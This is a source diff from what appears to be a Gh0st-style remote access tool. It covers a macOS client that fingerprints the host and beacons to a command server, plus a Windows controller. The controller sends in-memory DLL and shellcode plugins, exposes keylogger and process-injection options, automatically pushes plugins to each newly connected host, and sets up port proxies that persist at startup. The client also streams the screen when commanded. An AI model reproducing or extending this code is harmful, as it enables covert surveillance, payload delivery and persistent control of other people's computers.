strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
|
||||
|
||||
// Webcam
|
||||
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
|
||||
|
||||
// Start time (current session start)
|
||||
std::string startTime = getTimeString();
|
||||
strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1);
|
||||
|
||||
// Reserved fields (pipe-separated, must match Windows client order)
|
||||
// Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID
|
||||
|
||||
// 1. Client type (use GetClientType for consistency with Windows client)
|
||||
info.AddReserved(GetClientType(CLIENT_TYPE_MACOS));
|
||||
|
||||
// 2. System bits (OS bits, always 64 on modern macOS)
|
||||
info.AddReserved(64);
|
||||
|
||||
// 3. CPU cores
|
||||
info.AddReserved(getCPUCores());
|
||||
|
||||
// 4. Memory (GB)
|
||||
info.AddReserved(getMemoryGB());
|
||||
|
||||
// 5. File path (executable path)
|
||||
std::string exePath = getExecutablePath();
|
||||
info.AddReserved(exePath.c_str());
|
||||
|
||||
// 6. Placeholder
|
||||
info.AddReserved("?");
|
||||
|
||||
// 7. Install time (first run time, persistent)
|
||||
std::string installTime = getInstallTime();
|
||||
info.AddReserved(installTime.c_str());
|
||||
|
||||
// 8. Active window / Start time (initial value is start time, updated via heartbeat)
|
||||
info.AddReserved(startTime.c_str());
|
||||
|
||||
// 9. Program bits (always 64 on modern macOS)
|
||||
info.AddReserved(64);
|
||||
|
||||
// 10. Authorization info (placeholder)
|
||||
info.AddReserved("");
|
||||
|
||||
// 11. Location (placeholder, could add GeoIP later)
|
||||
info.AddReserved("");
|
||||
|
||||
// 12. Public IP
|
||||
std::string pubIP = getPublicIP();
|
||||
info.AddReserved(pubIP.c_str());
|
||||
|
||||
// 13. Version
|
||||
info.AddReserved("1.0.0");
|
||||
|
||||
// 14. Current username
|
||||
std::string username = getUsername();
|
||||
info.AddReserved(username.c_str());
|
||||
|
||||
// 15. Is running as root
|
||||
info.AddReserved(getuid() == 0 ? 1 : 0);
|
||||
|
||||
// 16. Screen resolution (format: count:widthxheight)
|
||||
std::string resolution = getScreenResolution();
|
||||
info.AddReserved(resolution.c_str());
|
||||
|
||||
// 17. Client ID (calculated from system info, same algorithm as server)
|
||||
// Format: pubIP|hostname|os|cpu|path
|
||||
char cpuStr[32];
|
||||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
|
||||
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
||||
hostname + "|" +
|
||||
osVer + "|" +
|
||||
cpuStr + "|" +
|
||||
exePath;
|
||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||
info.AddReserved(std::to_string(g_myClientID).c_str());
|
||||
|
||||
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
|
||||
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
|
||||
}
|
||||
|
||||
// ============== Signal Handling ==============
|
||||
|
||||
static void signalHandler(int sig)
|
||||
{
|
||||
NSLog(@"Received signal %d, shutting down...", sig);
|
||||
g_running = false;
|
||||
}
|
||||
|
||||
static void setupSignals()
|
||||
{
|
||||
signal(SIGTERM, signalHandler);
|
||||
signal(SIGINT, signalHandler);
|
||||
signal(SIGHUP, SIG_IGN);
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
}
|
||||
|
||||
// ============== Main Entry Point ==============
|
||||
|
||||
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
|
||||
struct RttEstimator {
|
||||
double srtt = 0.0; // 平滑 RTT (秒)
|
||||
double rttvar = 0.0; // RTT 波动 (秒)
|
||||
double rto = 0.0; // 超时时间 (秒)
|
||||
bool initialized = false;
|
||||
|
||||
void update_from_sample(double rtt_ms)
|
||||
{
|
||||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
||||
if (rtt_ms <= 0 || rtt_ms > 30000)
|
||||
return;
|
||||
|
||||
const double alpha = 1.0 / 8;
|
||||
const double beta = 1.0 / 4;
|
||||
double rtt = rtt_ms / 1000.0;
|
||||
|
||||
if (!initialized) {
|
||||
srtt = rtt;
|
||||
rttvar = rtt / 2.0;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
initialized = true;
|
||||
} else {
|
||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
}
|
||||
|
||||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
||||
if (rto < 1.0) rto = 1.0;
|
||||
}
|
||||
};
|
||||
|
||||
RttEstimator g_rttEstimator;
|
||||
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
|
||||
|
||||
void* ScreenworkingThread(void* param)
|
||||
{
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
||||
if (!handler->init()) {
|
||||
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
|
||||
return NULL;
|
||||
}
|
||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
|
||||
handler->sendBitmapInfo();
|
||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
}
|
||||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (szBuffer == nullptr || ulLength == 0)
|
||||
return TRUE;
|
||||
|
||||
if (szBuffer[0] == COMMAND_BYE) {
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
g_running = false; // Stop main loop to prevent reconnection
|
||||
} else if (szBuffer[0] == COMMAND_SHELL) {
|
||||
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||||
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
|
||||
std::thread(ScreenworkingThread, nullptr).detach();
|
||||
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
|
||||
} else if (szBuffer[0] == COMMAND_SYSTEM) {
|
||||
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
|
||||
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
|
||||
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
|
||||
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
|
||||
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
||||
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
||||
uint64_t now = GetUnixMs();
|
||||
double rtt_ms = (double)(now - ack->Time);
|
||||
g_rttEstimator.update_from_sample(rtt_ms);
|
||||
// Log at most once per minute
|
||||
static uint64_t lastLogTime = 0;
|
||||
if (now - lastLogTime >= 60000) {
|
||||
lastLogTime = now;
|
||||
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
||||
user, rtt_ms, g_rttEstimator.srtt * 1000);
|
||||
}
|
||||
}
|
||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||
int settingSize = ulLength - 1;
|
||||
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
|
||||
MasterSettings settings = {};
|
||||
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = settings.ReportInterval;
|
||||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||||
}
|
||||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||
} else {
|
||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, const char* argv[])
|
||||
{
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
|
||||
@autoreleasepool {
|
||||
NSLog(@"=== macOS Ghost Client ===");
|
||||
|
||||
// Setup signal handlers
|
||||
setupSignals();
|
||||
|
||||
// Check permissions
|
||||
NSLog(@"Checking permissions...");
|
||||
|
||||
if (!Permissions::checkScreenCapture()) {
|
||||
NSLog(@"Screen capture permission not granted.");
|
||||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
|
||||
Permissions::openScreenCaptureSettings();
|
||||
}
|
||||
|
||||
if (!Permissions::checkAccessibility()) {
|
||||
NSLog(@"Accessibility permission not granted.");
|
||||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
|
||||
Permissions::requestAccessibility();
|
||||
}
|
||||
|
||||
// FDA check is unreliable (no official API), just log a warning
|
||||
if (!Permissions::checkFullDiskAccess()) {
|
||||
NSLog(@"Full Disk Access: not detected (may be false negative).");
|
||||
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
|
||||
// Don't auto-open settings since detection is unreliable
|
||||
}
|
||||
|
||||
// Create client
|
||||
auto ClientObject = std::make_unique<IOCPClient>(g_bExit, false);
|
||||
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
|
||||
|
||||
// Main event loop
|
||||
NSLog(@"Starting main loop...");
|
||||
LOGIN_INFOR logInfo;
|
||||
fillLoginInfo(logInfo);
|
||||
|
||||
while (g_running) {
|
||||
clock_t c = clock();
|
||||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
Sleep(5000);
|
||||
continue;
|
||||
}
|
||||
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||
|
||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||||
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
||||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||||
for (int i = 0; i < interval; ++i) {
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
Sleep(1000);
|
||||
}
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
|
||||
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
||||
std::string activity = getActiveApp();
|
||||
|
||||
Heartbeat hb;
|
||||
hb.Time = GetUnixMs();
|
||||
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒
|
||||
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
||||
ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
}
|
||||
}
|
||||
|
||||
NSLog(@"Shutting down...");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -69,6 +69,8 @@
|
||||
#include "NotifyManager.h"
|
||||
#include "NotifySettingsDlg.h"
|
||||
#include "FrpsForSubDlg.h"
|
||||
#include "PluginSettingsDlg.h"
|
||||
#include "TriggerSettingsDlg.h"
|
||||
#include "common/key.h"
|
||||
#include "UIBranding.h"
|
||||
|
||||
@@ -345,7 +347,8 @@ bool IsDll64Bit(BYTE* dllBase)
|
||||
}
|
||||
|
||||
// 返回:读取的字节数组指针(需要手动释放)
|
||||
DllInfo* ReadPluginDll(const std::string& filename, const DllExecuteInfo & execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD })
|
||||
DllInfo* ReadPluginDll(const std::string& filename,
|
||||
const DllExecuteInfo& execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD, {}, {}, 0, 0, sizeof(DllExecuteInfo)})
|
||||
{
|
||||
// 打开文件(以二进制模式)
|
||||
std::ifstream file(filename, std::ios::binary | std::ios::ate);
|
||||
@@ -413,7 +416,7 @@ DllInfo* ReadTinyRunDll(int pid)
|
||||
}
|
||||
// 设置输出参数
|
||||
auto md5 = CalcMD5FromBytes(dllData, fileSize);
|
||||
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid };
|
||||
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid, 0, sizeof(DllExecuteInfo)};
|
||||
memcpy(info.Name, name.c_str(), name.length());
|
||||
memcpy(info.Md5, md5.c_str(), md5.length());
|
||||
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
|
||||
@@ -433,7 +436,7 @@ DllInfo* ReadFrpcDll(int callType)
|
||||
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
|
||||
// 设置输出参数
|
||||
auto md5 = CalcMD5FromBytes(dllData, fileSize);
|
||||
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType };
|
||||
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType, {}, {}, 0, 0, sizeof(DllExecuteInfoNew)};
|
||||
memcpy(info.Name, name.c_str(), name.length());
|
||||
memcpy(info.Md5, md5.c_str(), md5.length());
|
||||
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
|
||||
@@ -588,6 +591,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL);
|
||||
m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH);
|
||||
m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE);
|
||||
// New menu icons
|
||||
m_bmOnline[51].LoadBitmap(IDB_BITMAP_TRIGGER);
|
||||
m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
|
||||
m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
|
||||
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
@@ -604,6 +611,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_tinyDLL = NULL;
|
||||
auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
|
||||
m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
|
||||
// 应用插件配置(从 JSON 文件加载并更新 DllExecuteInfo 参数)
|
||||
CPluginSettingsDlg::PatchDllList(m_DllList);
|
||||
m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000);
|
||||
}
|
||||
|
||||
@@ -821,6 +830,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin)
|
||||
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
|
||||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||||
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
||||
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||
@@ -851,6 +862,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_FRPS_FOR_SUB, &CMy2015RemoteDlg::OnFrpsForSub)
|
||||
ON_COMMAND(ID_CANCEL_SHARE, &CMy2015RemoteDlg::OnCancelShare)
|
||||
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
|
||||
ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -919,6 +931,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
||||
// Tools menu
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
|
||||
@@ -937,9 +950,11 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[53], &m_bmOnline[53]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_WEB_REMOTE_CONTROL, MF_BYCOMMAND, &m_bmOnline[52], &m_bmOnline[52]);
|
||||
// Help menu
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]);
|
||||
@@ -5254,6 +5269,8 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
} else if (std::string(info->Name) == FRPC_DLL_NAME) {
|
||||
auto frpc = ReadFrpcDll(info->CallType);
|
||||
Buffer* buf = frpc->Data;
|
||||
DllExecuteInfo* target = frpc->GetInfo();
|
||||
target->Schedule.Mode = info->Schedule.Mode;
|
||||
// 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段,需要保留
|
||||
if (cmd == CMD_EXECUTE_DLL_NEW) {
|
||||
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1);
|
||||
@@ -5263,14 +5280,18 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
SAFE_DELETE(frpc);
|
||||
break;
|
||||
}
|
||||
bool find = false;
|
||||
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
|
||||
DllInfo* dll = *i;
|
||||
if (dll->Name == info->Name) {
|
||||
// TODO 如果是UDP,发送大包数据基本上不可能成功
|
||||
ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length());
|
||||
find = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (find) break;
|
||||
|
||||
auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit });
|
||||
if (dll) {
|
||||
Buffer* buf = dll->Data;
|
||||
@@ -5470,6 +5491,10 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
auto v = LoginInfor->ParseReserved(RES_MAX);
|
||||
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
|
||||
delete LoginInfor;
|
||||
|
||||
// 执行主机上线触发器
|
||||
ExecuteOnlineTrigger(ContextObject);
|
||||
|
||||
return S_OK;
|
||||
} catch(...) {
|
||||
Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str());
|
||||
@@ -8474,6 +8499,61 @@ void CMy2015RemoteDlg::OnToolReloadPlugins()
|
||||
m_DllList = ReadAllDllFilesWindows(path);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnToolPluginSettings()
|
||||
{
|
||||
CPluginSettingsDlg dlg(m_DllList, this);
|
||||
dlg.DoModal();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnTriggerSettings()
|
||||
{
|
||||
if (m_DllList.empty()) {
|
||||
MessageBoxL(_TR("插件列表为空,无法创建触发器"), _TR("提示"), MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
CTriggerSettingsDlg dlg(m_DllList, this);
|
||||
dlg.DoModal();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
if (!ctx || m_DllList.empty()) return;
|
||||
|
||||
// 快速检查是否有上线触发器(使用缓存,无磁盘IO)
|
||||
if (!TriggerManager::Instance().HasOnlineTrigger()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 获取触发器插件列表(从缓存获取)
|
||||
auto pluginNames = TriggerManager::Instance().GetOnlinePlugins();
|
||||
if (pluginNames.empty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Mprintf("[Trigger] Host online trigger activated for %s\n", ctx->GetPeerName().c_str());
|
||||
|
||||
// 遍历触发器配置的插件列表
|
||||
for (const auto& pluginName : pluginNames) {
|
||||
// 查找对应的 DLL
|
||||
DllInfo* targetDll = nullptr;
|
||||
for (auto& dll : m_DllList) {
|
||||
if (dll && dll->Name == pluginName) {
|
||||
targetDll = dll;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetDll || !targetDll->Data) {
|
||||
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
// 发送 DLL 到客户端
|
||||
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
|
||||
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
|
||||
}
|
||||
}
|
||||
|
||||
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||
{
|
||||
CString clientIP(ip.c_str());
|
||||
@@ -8730,7 +8810,7 @@ std::string GetAuthKey(const char* token, long long timestamp)
|
||||
|
||||
// 基于FRP将客户端端口代理到主控程序的公网
|
||||
// 例如代理3389端口,即可通过 mstsc.exe 进行远程访问
|
||||
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
|
||||
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard, bool autoRun)
|
||||
{
|
||||
BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0);
|
||||
std::string pwd = THIS_CFG.GetStr("frp", "token", "");
|
||||
@@ -8759,6 +8839,8 @@ void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
|
||||
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
|
||||
int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput);
|
||||
auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL);
|
||||
DllExecuteInfo* info = frpc->GetInfo();
|
||||
info->Schedule.Mode = autoRun ? SCH_MODE_STARTUP : SCH_MODE_NONE;
|
||||
FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort);
|
||||
EnterCriticalSection(&m_cs);
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
@@ -8804,6 +8886,11 @@ void CMy2015RemoteDlg::OnProxyPort()
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnProxyPortAutorun()
|
||||
{
|
||||
ProxyClientTcpPort(false, true);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnProxyPortStd()
|
||||
{
|
||||
ProxyClientTcpPort(true);
|
||||
|
||||
@@ -35,6 +35,9 @@ typedef struct DllInfo {
|
||||
{
|
||||
SAFE_DELETE(Data);
|
||||
}
|
||||
DllExecuteInfo* GetInfo() {
|
||||
return (DllExecuteInfo*)(Data->Buf() + 1);
|
||||
}
|
||||
} DllInfo;
|
||||
|
||||
typedef struct FileTransformCmd {
|
||||
@@ -264,7 +267,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[51]; // 21 original + 4 context menu + 2 tray menu + 23 main menu
|
||||
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -449,6 +452,9 @@ public:
|
||||
afx_msg void OnShellcodeAesBin();
|
||||
afx_msg void OnShellcodeTestAesBin();
|
||||
afx_msg void OnToolReloadPlugins();
|
||||
afx_msg void OnToolPluginSettings();
|
||||
afx_msg void OnTriggerSettings();
|
||||
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
||||
afx_msg void OnShellcodeAesCArray();
|
||||
afx_msg void OnParamKblogger();
|
||||
afx_msg void OnOnlineInjNotepad();
|
||||
@@ -457,7 +463,7 @@ public:
|
||||
afx_msg void OnParamPrivacyWallpaper();
|
||||
afx_msg void OnParamFileV2();
|
||||
afx_msg void OnParamRunAsUser();
|
||||
void ProxyClientTcpPort(bool isStandard);
|
||||
void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
|
||||
afx_msg void OnProxyPort();
|
||||
afx_msg void OnHookWin();
|
||||
afx_msg void OnRunasService();
|
||||
@@ -481,4 +487,5 @@ public:
|
||||
afx_msg void OnMasterTrail();
|
||||
afx_msg void OnCancelShare();
|
||||
afx_msg void OnWebRemoteControl();
|
||||
afx_msg void OnProxyPortAutorun();
|
||||
};
|
||||
|
||||
@@ -337,6 +337,8 @@
|
||||
<ClInclude Include="NotifySettingsDlg.h" />
|
||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||
<ClInclude Include="FrpsForSubDlg.h" />
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||
@@ -385,6 +387,8 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||
